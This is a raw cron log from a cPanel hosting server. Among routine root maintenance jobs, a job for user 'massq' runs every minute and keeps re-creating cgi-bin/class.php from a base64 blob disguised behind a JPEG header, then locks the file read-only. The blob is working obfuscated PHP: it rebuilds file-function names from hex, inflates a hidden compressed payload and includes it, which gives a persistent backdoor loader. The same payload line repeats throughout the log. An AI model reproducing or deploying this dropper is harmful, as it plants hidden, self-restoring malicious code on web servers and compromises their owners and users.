Sep  5 05:11:01 server CROND[5285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:12:01 server CROND[5664]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:12:01 server CROND[5665]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 05:12:01 server CROND[5667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:12:01 server CROND[5668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:13:01 server CROND[6053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:13:01 server CROND[6054]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:13:01 server CROND[6055]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:14:01 server CROND[6435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:14:01 server CROND[6436]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:14:01 server CROND[6437]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:15:01 server CROND[6921]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:15:01 server CROND[6923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:15:01 server CROND[6930]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 05:15:01 server CROND[6933]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:15:01 server CROND[6934]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:15:01 server CROND[6932]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:15:01 server CROND[6936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:15:01 server CROND[6931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:16:01 server CROND[7848]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:16:01 server CROND[7849]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:16:01 server CROND[7852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:17:01 server CROND[8268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:17:01 server CROND[8269]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:17:01 server CROND[8270]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:18:01 server CROND[8652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:18:01 server CROND[8653]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:18:01 server CROND[8651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:19:01 server CROND[9040]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:19:01 server CROND[9041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:19:01 server CROND[9042]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:20:01 server CROND[9491]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 05:20:01 server CROND[9493]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 05:20:01 server CROND[9494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 05:20:01 server CROND[9497]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 05:20:01 server CROND[9500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:20:01 server CROND[9498]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 05:20:01 server CROND[9501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:20:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 05:20:01 server CROND[9505]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:21:01 server CROND[10374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:21:01 server CROND[10375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:21:01 server CROND[10376]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:22:01 server CROND[10753]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:22:01 server CROND[10754]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:22:01 server CROND[10755]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:23:01 server CROND[11200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:23:01 server CROND[11201]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 05:23:01 server CROND[11202]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 05:24:01 server CROND[11633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 05:24:01 server CROND[11634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
